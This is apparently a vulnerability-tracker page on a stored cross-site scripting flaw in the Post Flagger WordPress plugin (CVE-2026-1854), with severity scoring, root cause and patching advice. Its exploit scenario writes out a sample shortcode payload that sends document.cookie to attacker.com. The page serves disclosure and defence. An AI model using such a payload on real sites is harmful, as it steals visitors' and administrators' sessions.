Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates Network-accessible, Low attack complexity, Low privileges required (contributor role), No user interaction required, and Changed scope with Low confidentiality and integrity impact. While the CVSS score of 6.4 is classified as Medium, the real-world risk is elevated by several factors: (1) the vulnerability requires only contributor-level WordPress authentication, a common role for bloggers and content editors; (2) the attack requires no user interaction beyond the attacker crafting a malicious post; (3) stored XSS affects all users who view the injected page, including administrators, making it suitable for privilege escalation or account takeover; (4) the vulnerability is straightforward to exploit and does not require complex bypasses. However, mitigation is simple (plugin update), and the vulnerability does not impact confidentiality or availability severely. No KEV status or EPSS data is explicitly provided, but the automation potential is high and the technical impact is substantial for integrity (unauthorized script injection). This should be prioritized for patching in WordPress environments, particularly those allowing contributor-level users. |
| Exploit ScenarioDerived | A disgruntled contributor with legitimate WordPress login credentials creates a new post or page and embeds a malicious 'flag' shortcode with a JavaScript payload in its attributes, for example: [flag id='1' onclick='fetch(attacker.com/steal?cookie='+document.cookie+')']. When an administrator or other users view this post, the injected script executes in their browser context, potentially stealing session cookies, capturing credentials, or redirecting them to phishing pages. Because the attack vector is Network-based with Low complexity and no user interaction required on the victim's part, exploitation is trivial for any contributor-level attacker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 21, 2026
A Stored Cross-Site Scripting (XSS) vulnerability exists in the Post Flagger WordPress plugin for all versions up to and including 1.1, caused by insufficient input sanitization and output escaping in the 'flag' shortcode's user-supplied attributes. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript code into pages, which executes for all users who view those pages. This vulnerability has a CVSS score of 6.4 (Medium) and is confirmed in the WordPress plugin repository; no evidence of active exploitation or public proof-of-concept is currently documented, but the straightforward nature of the vulnerability suggests exploitation potential.
RemediationAI
Update the Post Flagger plugin to a patched version immediately; check https://wordpress.org/plugins/post-flagger/ and https://plugins.trac.wordpress.org/browser/post-flagger/ for the latest available version (expected to be version 1.2 or higher). If an update is not yet available, consider deactivating and removing the plugin until a patch is released. For WordPress administrators unable to patch immediately, enforce contributor-level content review by restricting the 'flag' shortcode to administrator-only usage via code filters, or implement a Web Application Firewall (WAF) rule to block script tags in post content. Additionally, audit existing posts created by contributor-level users for malicious shortcode attributes and remove any suspicious entries.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Post Flagger plugin (CPE: cpe:2.3:a:nosoycesaros:post_flagger:*:*:*:*:*:*:*:*) is a WordPress extension that provides a shortcode mechanism for flagging content. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting). The root cause lies in the plugin's 'flag' shortcode handler, specifically around line 66 of post-flagger.php (as referenced in the WordPress plugin repository), where shortcode attributes are processed without proper sanitization via WordPress escaping functions such as wp_kses_post() or esc_attr(). When shortcode attributes are rendered into page output, unsanitized user input passes directly into the HTML context, allowing attackers to inject script tags or event handlers that bypass WordPress's default security filters.
Know when Post Flagger gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Post Flagger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'flag' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Executive ViewAI
Organizations using all should be aware of moderate risk from CVE-2026-1854, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-14005
GHSA-qgp7-6qw9-gvc2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB